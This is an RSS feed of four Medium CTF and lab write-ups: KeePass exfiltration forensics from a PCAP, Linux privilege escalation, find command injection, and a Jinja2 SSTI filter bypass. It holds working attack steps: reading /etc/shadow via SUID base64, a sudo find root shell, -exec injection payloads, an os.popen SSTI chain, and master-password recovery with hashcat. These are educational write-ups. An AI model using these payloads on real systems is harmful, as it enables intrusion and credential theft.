<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xRashad on Medium]]></title>
        <description><![CDATA[Stories by 0xRashad on Medium]]></description>
        <link>https://medium.com/@m.rashad1mr1?source=rss-43be37a572e2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*910jOkeHgFfcZfxLXbKmrA.jpeg</url>
            <title>Stories by 0xRashad on Medium</title>
            <link>https://medium.com/@m.rashad1mr1?source=rss-43be37a572e2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 09:30:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@m.rashad1mr1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Extracted — From a PCAP to KeePass Credential Recovery | TryHackMe Writeup]]></title>
            <link>https://medium.com/@m.rashad1mr1/extracted-from-a-pcap-to-keepass-credential-recovery-tryhackme-writeup-6c2dec265877?source=rss-43be37a572e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c2dec265877</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <dc:creator><![CDATA[0xRashad]]></dc:creator>
            <pubDate>Sat, 07 Nov 2026 15:52:55 GMT</pubDate>
            <atom:updated>2026-11-07T15:52:55.061Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab:</strong> <a href="https://tryhackme.com/room/extractedroom">TryHackMe — Extracted</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*Zsr8QZXZs-LRH7a6CaT2iw.png" /></figure><h3>Introduction</h3><p>For this challenge, I investigated a security incident using a provided PCAP file.</p><p>The investigation started with a suspicious PowerShell script download and eventually led to the recovery of exfiltrated KeePass artifacts and the analysis of the stolen process memory.</p><p>The investigation involved:</p><ul><li>Network traffic analysis using Wireshark and TShark.</li><li>PowerShell malware analysis.</li><li>TCP payload extraction.</li><li>Base64 decoding and XOR reversal.</li><li>Windows process memory forensics.</li><li>KeePass database investigation.</li></ul><h3>1. Initial PCAP Analysis</h3><p>I started by opening the PCAP in Wireshark and examining the HTTP traffic.</p><p>I identified a suspicious request for a PowerShell script:</p><pre>GET /xxxmmdcclxxxiv.ps1 HTTP/1.1</pre><pre>Host: 10.10.94.106:1339</pre><pre>User-Agent: Mozilla/5.0 (Windows NT 10.0; en-US)<br>WindowsPowerShell/5.1.17763.4720</pre><p>The server responded:</p><pre>HTTP/1.0 200 OK</pre><pre>Server: SimpleHTTP/0.6 Python/3.6.9<br>Content-Type: application/octet-stream<br>Content-Length: 11195</pre><p>A few things caught my attention:</p><ul><li>The requested resource was a .ps1 file.</li><li>The User-Agent indicated Windows PowerShell.</li><li>The server was listening on TCP port 1339.</li><li>The response returned 200 OK, confirming successful delivery.</li></ul><p>I decided to investigate the downloaded script.</p><h3>2. PowerShell Script Analysis</h3><p>After examining the HTTP response body, I recovered the PowerShell script.</p><p>The script used heavily randomized variable names and dynamically resolved method names.</p><p>Rather than focusing on the obfuscated names, I followed the actual operations.</p><h3>2.1 ProcDump Download</h3><p>The script checked whether ProcDump existed at:</p><pre>$PRoCDumppATh = &#39;C:\Tools\procdump.exe&#39;</pre><p>If it was missing, it downloaded ProcDump from Microsoft’s Sysinternals website:</p><pre>Invoke-WebRequest `<br>    -Uri &#39;https://download.sysinternals.com/files/Procdump.zip&#39; `<br>    -OutFile $PrOcdUmpziPpaTH</pre><p>It then extracted the archive.</p><p>ProcDump is a legitimate Microsoft utility, but it can be abused to dump sensitive process memory.</p><h3>2.2 Targeting KeePass</h3><p>The most important part of the script was:</p><pre>$KEEPASsPrOCesS = Get-Process -Name &#39;KeePass&#39;</pre><p>The script explicitly searched for a running KeePass process.</p><p>When it found one, it executed ProcDump:</p><pre>$ProcStArtiNFO.Arguments = <br>    &quot;-accepteula -ma $($KEEPASsPrOCesS.Id) `&quot;$dUmPFilEpath`&quot;&quot;</pre><p>The -ma option generates a full user-mode process dump.</p><p>This is particularly interesting because KeePass may contain sensitive information in memory while its database is unlocked.</p><h3>2.3 Collecting the KeePass Database</h3><p>The script also searched for:</p><pre>Database1337.kdbx</pre><p>The attacker was targeting two artifacts:</p><ol><li>KeePass process memory.</li><li>The encrypted KeePass database.</li></ol><p>Collecting both provides an opportunity to recover the master password and subsequently access the database.</p><h3>3. Understanding the Data Obfuscation</h3><p>Before transmitting the collected files, the script transformed their contents.</p><p>The relevant operations were:</p><pre>$dumpBytes[$i] = $dumpBytes[$i] -bxor $xorKey</pre><p>Followed by:</p><pre>$base64Encoded = <br>    [System.Convert]::ToBase64String($dumpBytes)</pre><p>The script used different XOR keys for the two artifacts.</p><p>ArtifactXOR keyDestination portMemory dump0x411337KeePass database0x421338</p><p>The transformation was:</p><pre>Original File<br>     |<br>     v<br>XOR Transformation<br>     |<br>     v<br>Base64 Encoding<br>     |<br>     v<br>Network Transmission</pre><p>XOR and Base64 are obfuscation techniques, not secure encryption.</p><p>Once I understood the transformation, reversing it was straightforward.</p><h3>4. Identifying Data Exfiltration</h3><p>The script established TCP connections to:</p><pre>10.10.94.106</pre><p>The destination ports were:</p><p>PortPurpose1339PowerShell script delivery1337KeePass memory dump exfiltration1338KeePass database exfiltration</p><p>The PCAP showed successful outbound transfers to ports 1337 and 1338.</p><p>The source workstation was:</p><pre>10.10.45.95</pre><p>At this point, I wanted to go beyond identifying the exfiltration. I wanted to reconstruct the actual stolen files.</p><h3>5. Extracting TCP Payloads Using TShark</h3><p>Instead of manually exporting the TCP streams through Wireshark’s GUI, I used TShark to extract the TCP payloads directly from the PCAP.</p><p>This made the extraction process repeatable and easy to automate.</p><h3>5.1 Extracting the Memory Dump Payload</h3><p>I filtered the traffic for TCP port 1337 and extracted the TCP payload in hexadecimal format:</p><pre>tshark -r capture.pcapng \<br>-Y &quot;tcp.port == 1337&quot; \<br>-T fields -e tcp.payload |<br>tr -d &#39;\n&#39; &gt; combined_hex_1337.txt</pre><p>Then I converted the hexadecimal data back into binary:</p><pre>xxd -r -p combined_hex_1337.txt &gt; stream_1337.raw</pre><h3>5.2 Extracting the KeePass Database Payload</h3><p>I repeated the same process for TCP port 1338:</p><pre>tshark -r capture.pcapng \<br>-Y &quot;tcp.port == 1338&quot; \<br>-T fields -e tcp.payload |<br>tr -d &#39;\n&#39; &gt; combined_hex_1338.txt</pre><p>Then:</p><pre>xxd -r -p combined_hex_1338.txt &gt; stream_1338.raw</pre><p>This produced two files:</p><pre>stream_1337.raw<br>stream_1338.raw</pre><p>The first contained the encoded memory dump, while the second contained the encoded KeePass database.</p><p><em>Note: This extraction method worked with the captured traffic in this challenge. For other PCAPs, make sure to isolate the client-to-server direction and account for TCP retransmissions and stream reassembly. Simply concatenating packet payloads is not guaranteed to reconstruct every TCP stream correctly.</em></p><h3>6. Reversing Base64 and XOR</h3><p>After extracting the payloads, I needed to reverse the transformations performed by the PowerShell script.</p><p>I wrote a Python script to automate the entire process.</p><p>Rather than hardcoding the input filenames, I used argparse so anyone can supply their own filenames.</p><h3>Recovery script</h3><p>Create a file named:</p><pre>recover_exfil.py</pre><pre>import argparse<br>import base64<br>import hashlib<br>from pathlib import Path<br><br>def recover_file(input_file, output_file, xor_key, expected_magic):<br>    print(f&quot;\n[*] Processing: {input_file}&quot;)<br><br>    source = Path(input_file)<br><br>    if not source.is_file():<br>        print(f&quot;[!] File not found: {input_file}&quot;)<br>        return False<br><br>    # Read extracted TCP payload<br>    data = source.read_bytes()<br><br>    print(f&quot;[+] Input size: {len(data):,} bytes&quot;)<br><br>    # Remove whitespace and line breaks<br>    data = b&quot;&quot;.join(data.split())<br><br>    # Remove trailing Base64 padding<br>    data = data.rstrip(b&quot;=&quot;)<br><br>    # Restore valid Base64 padding<br>    remainder = len(data) % 4<br><br>    if remainder == 1:<br>        print(&quot;[!] Invalid Base64 length. Recovery aborted.&quot;)<br>        return False<br><br>    data += b&quot;=&quot; * ((4 - remainder) % 4)<br><br>    try:<br>        # Reverse Base64 encoding<br>        decoded = base64.b64decode(data, validate=True)<br><br>    except Exception as error:<br>        print(f&quot;[!] Base64 decoding failed: {error}&quot;)<br>        return False<br><br>    print(f&quot;[+] Base64 decoded: {len(decoded):,} bytes&quot;)<br><br>    # Reverse XOR transformation<br>    recovered = bytes(<br>        byte ^ xor_key for byte in decoded<br>    )<br><br>    # Validate file signature<br>    if not recovered.startswith(expected_magic):<br>        print(&quot;[!] WARNING: Unexpected file signature!&quot;)<br>        print(f&quot;[!] Expected: {expected_magic.hex()}&quot;)<br>        print(f&quot;[!] Actual:   {recovered[:8].hex()}&quot;)<br><br>    # Save recovered artifact<br>    Path(output_file).write_bytes(recovered)<br><br>    # Calculate SHA256<br>    sha256 = hashlib.sha256(recovered).hexdigest()<br><br>    print(f&quot;[+] Saved: {output_file}&quot;)<br>    print(f&quot;[+] Output size: {len(recovered):,} bytes&quot;)<br>    print(f&quot;[+] SHA256: {sha256}&quot;)<br>    print(f&quot;[+] Signature: {recovered[:16].hex(&#39; &#39;)}&quot;)<br><br>    return recovered.startswith(expected_magic)<br><br><br>def main():<br>    parser = argparse.ArgumentParser(<br>        description=&quot;Recover XOR/Base64-obfuscated exfiltrated files&quot;<br>    )<br><br>    parser.add_argument(<br>        &quot;--memory&quot;,<br>        default=&quot;stream_1337.raw&quot;,<br>        help=&quot;Input memory dump stream&quot;<br>    )<br><br>    parser.add_argument(<br>        &quot;--database&quot;,<br>        default=&quot;stream_1338.raw&quot;,<br>        help=&quot;Input KeePass database stream&quot;<br>    )<br><br>    parser.add_argument(<br>        &quot;--memory-output&quot;,<br>        default=&quot;recovered_memory.dmp&quot;<br>    )<br><br>    parser.add_argument(<br>        &quot;--database-output&quot;,<br>        default=&quot;recovered_database.kdbx&quot;<br>    )<br><br>    args = parser.parse_args()<br><br>    print(&quot;=&quot; * 55)<br>    print(&quot;       EXFILTRATED FILE RECOVERY TOOL&quot;)<br>    print(&quot;=&quot; * 55)<br><br>    recover_file(<br>        args.memory,<br>        args.memory_output,<br>        0x41,<br>        b&quot;MDMP&quot;<br>    )<br><br>    recover_file(<br>        args.database,<br>        args.database_output,<br>        0x42,<br>        bytes.fromhex(&quot;03D9A29A&quot;)<br>    )<br><br>    print(&quot;\n[*] Recovery process finished.&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>6.1 Running the Script</h3><p>With the default filenames:</p><pre>python3 recover_exfil.py</pre><p>Or specify your own input filenames:</p><pre>python3 recover_exfil.py \<br>    --memory memory_stream.raw \<br>    --database database_stream.raw</pre><p>You can also customize the output filenames:</p><pre>python3 recover_exfil.py \<br>    --memory memory_stream.raw \<br>    --database database_stream.raw \<br>    --memory-output recovered.dmp \<br>    --database-output recovered.kdbx</pre><h3>6.2 Validating the Recovered Files</h3><p>I used:</p><pre>file recovered_memory.dmp recovered_database.kdbx</pre><p>I also inspected their initial bytes:</p><pre>xxd -l 16 recovered_memory.dmp</pre><pre>xxd -l 16 recovered_database.kdbx</pre><p>The recovered memory dump started with:</p><pre>4D 44 4D 50</pre><p>This corresponds to the Windows minidump signature (MDMP).</p><p>The KeePass database started with:</p><pre>03 D9 A2 9A</pre><p>This matches the expected KDBX signature.</p><p>Both recovered artifacts passed their initial format validation.</p><h3>7. Analyzing the KeePass Memory Dump</h3><p>Now I had two recovered artifacts:</p><pre>recovered_memory.dmp<br>recovered_database.kdbx</pre><p>My next objective was to investigate the process memory for sensitive KeePass information.</p><p>I initially tried Volatility 3, but there was an important distinction to understand.</p><p>The dump was created using ProcDump’s -ma option.</p><p>This produces a full user-mode process dump, not a complete physical RAM image.</p><p>Consequently, Volatility’s standard Windows kernel memory-analysis plugins could not interpret it as a Windows physical-memory acquisition.</p><p>I then performed initial string extraction:</p><pre>strings -a -n 6 recovered_memory.dmp &gt; memory_ascii.txt</pre><p>For UTF-16LE strings:</p><pre>strings -el -n 6 recovered_memory.dmp &gt; memory_unicode.txt</pre><p>I found references to several .NET libraries and KeePass components, including:</p><pre>KeePass.pdb<br>KeePass.ni.pdb<br>System.Core.ni.pdb<br>System.Windows.Forms.ni.pdb<br>mscorlib.ni.pdb</pre><p>These findings were consistent with a .NET-based KeePass process.</p><p>However, simple string extraction was only an initial examination. I needed a specialized approach to investigate the master password.</p><h3>8. KeePass Master Password Recovery</h3><p>For this stage, I used:</p><p><strong>Tool:</strong> <a href="https://github.com/matro7sh/keepass-dump-masterkey">KeePass Dump Master Key</a></p><p>The tool analyzes KeePass process memory for master-password remnants associated with CVE-2023–32784.</p><p>I supplied the recovered process dump:</p><pre>python3 poc.py ../recovered_memory.dmp</pre><p>The tool recovered the master-password material, with an unresolved character.</p><p>This is an important characteristic of the vulnerability: the first character cannot be recovered through this technique.</p><h3>8.1 Validating the Candidate</h3><p>Instead of assuming the recovered candidate was correct, I validated it against the recovered KeePass database.</p><p>First, I extracted the database hash:</p><pre>keepass2john recovered_database.kdbx &gt; hash.txt</pre><p>Then I used Hashcat with a mask attack to test the missing character:</p><pre>hashcat -m 13400 -a 3 hash.txt &#39;?a&lt;RECOVERED_FRAGMENT&gt;&#39;</pre><p>This allowed me to test candidate characters against the encrypted database without exposing the recovered password in this writeup.</p><p>After finding a valid candidate, I moved to the final validation stage.</p><h3>9. Accessing the Recovered KeePass Database</h3><p>I used KeePassXC CLI to verify access to the recovered database.</p><p>To list the available entries:</p><pre>keepassxc-cli ls recovered_database.kdbx</pre><p>The database contained several entries and groups, including:</p><pre>Sample Entry<br>Sample Entry #2<br>You win!<br>General/<br>Windows/<br>Network/<br>Internet/<br>eMail/<br>Homebanking/</pre><p>I then inspected the relevant entry:</p><pre>keepassxc-cli show recovered_database.kdbx &#39;You win!&#39;</pre><p>The database authentication succeeded, confirming that the recovered master-password candidate was valid.</p><p>For challenge integrity, the recovered credentials and final challenge answer are intentionally omitted.</p><p>The important forensic result was that the memory dump enabled recovery of the information required to unlock the separately exfiltrated KeePass database.</p><h3>10. Reconstructing the Attack Chain</h3><p>After correlating the network traffic with the PowerShell script and recovered artifacts, the complete attack chain became clear.</p><pre>Network PCAP<br>                  |<br>                  v<br>       PowerShell Script Download<br>              TCP 1339<br>                  |<br>                  v<br>        PowerShell Execution<br>                  |<br>          +-------+-------+<br>          |               |<br>          v               v<br>      KeePass          KeePass<br>      Process          Database<br>      Memory           Collection<br>          |               |<br>          v               v<br>       ProcDump         KDBX File<br>          |               |<br>          v               v<br>       XOR 0x41        XOR 0x42<br>          |               |<br>          v               v<br>       Base64          Base64<br>          |               |<br>          v               v<br>      TCP 1337        TCP 1338<br>          |               |<br>          +-------+-------+<br>                  |<br>                  v<br>         TShark Extraction<br>                  |<br>                  v<br>       Python File Reconstruction<br>                  |<br>                  v<br>        Analyze Process Memory<br>                  |<br>                  v<br>       Recover Password Material<br>                  |<br>                  v<br>       Validate Against Database<br>                  |<br>                  v<br>          Unlock KeePass</pre><p>This demonstrates why analyzing multiple evidence sources together is so important.</p><p>The PCAP revealed the communication, the PowerShell script explained the attacker’s actions, and the recovered memory dump provided the information needed to access the encrypted database.</p><h3>11. Defensive Lessons and Detection Opportunities</h3><p>From a Blue Team perspective, this challenge demonstrates several behaviors worth monitoring.</p><h3>PowerShell Monitoring</h3><p>Look for:</p><ul><li>PowerShell downloading scripts from unusual hosts.</li><li>Obfuscated variable names and dynamically resolved methods.</li><li>Suspicious Invoke-WebRequest usage.</li><li>Unexpected execution of downloaded scripts.</li></ul><h3>Process Memory Dumping</h3><p>Monitor for:</p><ul><li>ProcDump execution against sensitive applications.</li><li>Unexpected process access and memory dumping.</li><li>Creation of .dmp files in unusual directories.</li><li>Access to password-manager processes by unrelated processes.</li></ul><h3>Network Monitoring</h3><p>Investigate:</p><ul><li>Outbound connections to uncommon TCP ports.</li><li>Large outbound transfers following suspicious script execution.</li><li>Encoded payloads transmitted over custom TCP connections.</li><li>Multiple connections to the same host serving different purposes</li></ul><h3>Credential Protection</h3><ul><li>Restrict unauthorized access to sensitive process memory.</li><li>Monitor password-manager process access.</li><li>Rotate credentials after suspected memory exposure.</li><li>Revoke potentially compromised sessions and tokens.</li><li>Investigate whether additional credentials were accessed.</li></ul><h3>Conclusion</h3><p>This was a great exercise in connecting different areas of digital forensics.</p><p>What initially looked like an ordinary HTTP request turned into a complete credential-theft investigation.</p><p>The most valuable part for me was reconstructing the exfiltrated files directly from the PCAP using TShark, then automating the recovery process with Python.</p><p>The investigation covered:</p><ul><li>Identifying malicious HTTP traffic.</li><li>Reverse engineering an obfuscated PowerShell script.</li><li>Understanding ProcDump abuse.</li><li>Extracting TCP payloads using TShark.</li><li>Reversing Base64 and XOR transformations.</li><li>Analyzing Windows process memory.</li><li>Recovering KeePass master-password material.</li><li>Validating access to an encrypted password database.</li></ul><p><strong>My biggest takeaway:</strong> A PCAP is not just a collection of packets. When an attacker transfers files over the network, the traffic itself can become the source of forensic evidence needed to reconstruct an incident.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c2dec265877" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Linux Privilege Escalation — Capstone Write-up]]></title>
            <link>https://medium.com/@m.rashad1mr1/tryhackme-linux-privilege-escalation-capstone-write-up-8e0cc6b90755?source=rss-43be37a572e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e0cc6b90755</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[0xRashad]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 13:21:21 GMT</pubDate>
            <atom:updated>2026-08-26T12:19:40.770Z</atom:updated>
            <content:encoded><![CDATA[<h3>🛡️ Linux Privilege Escalation — Capstone Write-up</h3><h3>🎯 Target Information</h3><ul><li><strong>Initial Access:</strong> SSH access as low-privileged user</li><li><strong>User:</strong> leonard and Password: Penny123</li><li><strong>Privileges:</strong> No sudo permissions</li></ul><h3>🔍 1. Initial Enumeration</h3><p>After logging in as leonard, the first step was to understand the environment.</p><h3>Enumerate users:</h3><pre>cat /etc/passwd</pre><h3>Findings:</h3><ul><li>Discovered additional user:</li><li>missy</li></ul><p>👉 Goal shifted to:</p><blockquote><em>Gaining access to another user with higher privileges</em></blockquote><h3>🔐 2. Attempt to Access Credentials</h3><p>Tried accessing password hashes:</p><pre>cat /etc/shadow</pre><p>❌ Access denied (expected — requires root)</p><h3>🔎 3. SUID Enumeration</h3><p>Looked for binaries with SUID bit set:</p><pre>find / -type f -perm -04000 -ls 2&gt;/dev/null</pre><h3>Key Finding:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*FnJoDOjLjS_Gt5Rjdl3ICw.gif" /></figure><pre>/usr/bin/base64</pre><h3>⚠️ 4. Exploiting SUID Binary (base64)</h3><p>Checked <strong>GTFOBins</strong> for exploitation techniques.</p><p><a href="https://gtfobins.org/gtfobins/find/">https://gtfobins.org/gtfobins/find/</a></p><h3>Relevant technique:</h3><pre>base64 /path/to/file | base64 --decode</pre><h3>Exploit Execution:</h3><pre>base64 /etc/shadow | base64 --decode</pre><p>👉 Successfully read /etc/shadow</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*lHqxu4klo0dcBxr5zWGaKQ.gif" /></figure><h3>🔓 5. Password Cracking</h3><p>Extracted hash for user missy.</p><p>Used <strong>John the Ripper</strong>:</p><pre>john hash.txt</pre><h3>Result:</h3><ul><li><strong>Username:</strong> missy</li><li><strong>Password:</strong> Password1</li></ul><h3>🔑 6. Lateral Movement</h3><p>Switched user:</p><pre>su missy</pre><p>👉 Successfully logged in as missy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bW7QehKA3azQfgexAl0kew.jpeg" /></figure><h3>🧪 7. Sudo Enumeration</h3><p>Checked sudo permissions:</p><pre>sudo -l</pre><h3>Result:</h3><pre>(ALL) NOPASSWD: /usr/bin/find</pre><p>👉 Critical misconfiguration:</p><blockquote><em>find can be run as root without password</em></blockquote><h3>🚩 8. First Flag Discovery</h3><p>Searched for flag files:</p><pre>find / -name &quot;flag*.txt&quot; 2&gt;/dev/null</pre><h3>Found:</h3><pre>/home/missy/Documents/flag1.txt</pre><h3>Flag 1:</h3><pre>THM-42828719920544</pre><h3>⚡ 9. Privilege Escalation via find</h3><p>Checked <strong>GTFOBins</strong> for find.</p><h3>Exploit:</h3><pre>sudo find . -exec /bin/sh \; -quit</pre><p>👉 Spawned root shell</p><h3>👑 10. Root Access Achieved</h3><p>Verified:</p><pre>id</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*Ag2X9Cbafu-Az0-yrH1zSw.gif" /></figure><pre>uid=0(root)</pre><h3>🏁 11. Final Flag</h3><p>Searched again:</p><pre>find / -name &quot;flag*.txt&quot; 2&gt;/dev/null</pre><h3>Found:</h3><pre>/home/rootflag/flag2.txt</pre><h3>Flag 2:</h3><pre>THM-168824782390238</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*fse6KqIDL0ky4UD6hr-y7g.avif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e0cc6b90755" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTalent: Escape_202]]></title>
            <link>https://medium.com/@m.rashad1mr1/cybertalent-escape-202-b0b2554b9bfe?source=rss-43be37a572e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0b2554b9bfe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyber-talents]]></category>
            <category><![CDATA[2026]]></category>
            <dc:creator><![CDATA[0xRashad]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 14:31:03 GMT</pubDate>
            <atom:updated>2026-02-27T14:31:03.373Z</atom:updated>
            <content:encoded><![CDATA[<h3>🧨 Command Injection via find — CTF Writeup</h3><h3>📝 Challenge Summary</h3><p>The web application provides a file search feature that allows users to search the server’s filesystem.</p><p>Challenge description:<em>“I made this service to search in the files and directories in the server But my secrets leaked from file at </em><em>/randomString_flag.txt”</em></p><p>The goal is to retrieve the flag stored somewhere on the system.</p><p>-&gt; at first we got this UI :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*7vtnwu4uz1K5z8nZLKsKVQ.png" /></figure><h3>🔎 Source Code Analysis (open it on BurpSweet)</h3><p><strong>→ The application exposes a search form that sends a POST request to the backend.</strong></p><p>Relevant PHP code:</p><pre>if ($_SERVER[&quot;REQUEST_METHOD&quot;] === &quot;POST&quot;) {<br>    $search = escapeshellcmd($_POST[&#39;search&#39;]);<br>    $command = &quot;find / -name &quot; .$search;<br>    $output = shell_exec($command);<br>    echo &quot;&lt;h2&gt;Search Results:&lt;/h2&gt;&quot;;<br>    if ($output) {<br>        echo &quot;&lt;pre&gt;&quot; . $output . &quot;&lt;/pre&gt;&quot;;<br>    } else {<br>        echo &quot;&lt;p&gt;No files found matching your search criteria.&lt;/p&gt;&quot;;<br>    }<br>}</pre><h3>🚨 Vulnerability</h3><p>The application constructs a shell command using user input:</p><pre>find / -name USER_INPUT</pre><p>Even though escapeshellcmd() is used, it does <strong>not</strong> safely quote user input.It only escapes certain shell metacharacters but does not prevent argument injection.Because the input is appended directly, we can inject additional find arguments.This leads to <strong>command injection via </strong><strong>find -exec</strong>.</p><ul><li>→ first of all we need to locate the flag file via that search functionality</li><li>so lets try to search for that “/radnomString_flag.txt” file : notice that it has a hint in its own name (the file name is random)</li><li>so lets search for the sub-word “flag” : *flag*</li></ul><pre>search=*flag* </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*T7TdbLvyJ6zi0hzEEnBC4g.png" /><figcaption>so the name is actually random</figcaption></figure><h3>→ /KY4x094I_flag.txt</h3><h3>🧠 Understanding the Attack Surface</h3><p>The find command supports the -exec option:</p><pre>find / -name filename -exec COMMAND {} \\;</pre><p>This allows execution of arbitrary commands for each matched file.</p><p>Since user input is placed directly after -name, we can inject:</p><pre>filename -exec cat {} ;</pre><p>Which results in:</p><pre>find / -name filename -exec cat {} ;</pre><p>That executes cat on the file.</p><h3>💥 Exploit Command Injection</h3><p>We injected the following payload into the search parameter:</p><pre>KY4x094I_flag.txt -exec cat {} ; -quit</pre><p>or</p><pre>anyname -o -exec cat /KY4x094I_flag.txt ; -quit</pre><p>→ <strong>ctrl+u (to url encode it)</strong></p><p>the server receives :</p><pre>find / -name KY4x094I_flag.txt -exec cat {} ; -quit</pre><p>Explanation:</p><ul><li>name KY4x094I_flag.txt → matches the flag file</li><li>exec cat {} ; → prints its content</li><li>quit → stops traversal after first match</li></ul><p>This successfully printed the flag.</p><h3>and we got the FLAG</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*a9RbA-kh6sq_MRc1CEUO1A.jpeg" /><figcaption>ignore my goofy ahh bro</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0b2554b9bfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[picoCTF: SSTI2]]></title>
            <link>https://medium.com/@m.rashad1mr1/picoctf-ssti2-30b9e3e3e806?source=rss-43be37a572e2------2</link>
            <guid isPermaLink="false">https://medium.com/p/30b9e3e3e806</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xRashad]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 23:42:41 GMT</pubDate>
            <atom:updated>2026-02-24T23:42:41.789Z</atom:updated>
            <content:encoded><![CDATA[<h3>SSTI Writeup — Jinja2 Filter Bypass via attr() and Hex-Escaped Underscores</h3><h3>Summary</h3><p>This challenge was vulnerable to <strong>Server-Side Template Injection (SSTI)</strong> in a <strong>Jinja2 (Python)</strong> template.<br>Direct access to sensitive attributes (such as __globals__, __import__) and chained attribute access was blocked by naive input filters. Exploitation required <strong>bypassing filters</strong> using:</p><ul><li><strong>Dot (</strong><strong>.) bypass</strong> with Jinja2’s attr() filter</li><li><strong>Underscore (</strong><strong>_) bypass</strong> using <strong>hex-escaped strings</strong> (\x5f), decoded by the template engine at runtime</li></ul><p>This allowed access to Python builtins, command execution via os.popen(), and finally reading the flag.</p><h3>Detection</h3><p>SSTI was confirmed by evaluating expressions in the template context:</p><pre>{{7*7}}         → 49<br>{{7*&#39;7&#39;}}       → 7777777</pre><p>This behavior fingerprints <strong>Jinja2 (Python)</strong>.</p><h3>Bypass Techniques</h3><h3>1) Dot (.) bypass with attr()</h3><p>Direct attribute access was filtered:</p><pre>{{ request.application }}</pre><p>So dynamic attribute access was used:</p><pre>{{ request|attr(&#39;application&#39;) }}</pre><p>This avoids the . operator and still resolves object attributes.</p><h3>2) Underscore (_) bypass with hex-escaped strings</h3><p>The filter blocked _ and keywords like __globals__, __import__.<br>URL encoding (%5F) failed because it was <strong>not decoded into </strong><strong>_ at template evaluation time</strong>.<br>Using <strong>hex escapes inside strings</strong> worked because Jinja2 decodes them at runtime:</p><pre>\x5f  →  _</pre><p>So:</p><pre>attr(&#39;\x5f\x5fglobals\x5f\x5f&#39;)   → &quot;__globals__&quot;<br>attr(&#39;\x5f\x5fimport\x5f\x5f&#39;)   → &quot;__import__&quot;</pre><p>This rebuilt forbidden attribute names after the filter stage.</p><h3>Payloads That Didn’t Work (and why)</h3><pre>#Direct chaining with dots and underscores<br>{{ request.application.__globals__ }} #❌ Blocked by filters on . and _.<br><br><br>#Direct chaining with dots and underscores<br>attr(&#39;%5F%5Fglobals%5F%5F&#39;) #❌ %5F was not decoded into _ by Jinja2, so attribute lookup failed.<br><br><br>#Naive builtin access<br>{{ __import__(&#39;os&#39;).popen(&#39;ls&#39;).read() }} #❌ Blocked by keyword and underscore filters.<br></pre><h3>Final Working Exploit</h3><pre>{{request<br>|attr(&#39;application&#39;)<br>|attr(&#39;\x5f\x5fglobals\x5f\x5f&#39;)<br>|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fbuiltins\x5f\x5f&#39;)<br>|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fimport\x5f\x5f&#39;)(&#39;os&#39;)<br>|attr(&#39;popen&#39;)(&#39;cat /challenge/flag&#39;)<br>|attr(&#39;read&#39;)()<br>}}</pre><p><strong>Result:</strong><br>The payload bypassed filters, accessed Python builtins, executed a command via os.popen(), and read the flag from /challenge/flag.</p><h3>Takeaways</h3><ul><li><strong>attr()</strong> bypasses filters on dot-based attribute access.</li><li><strong>Hex-escaped strings (</strong><strong>\x5f)</strong> bypass underscore blacklists because decoding happens inside the template engine.</li><li><strong>URL encoding alone is insufficient</strong> if decoding doesn’t occur before template evaluation.</li><li>Blacklists fail when they don’t normalize inputs before filtering.</li></ul><figure><img alt="" 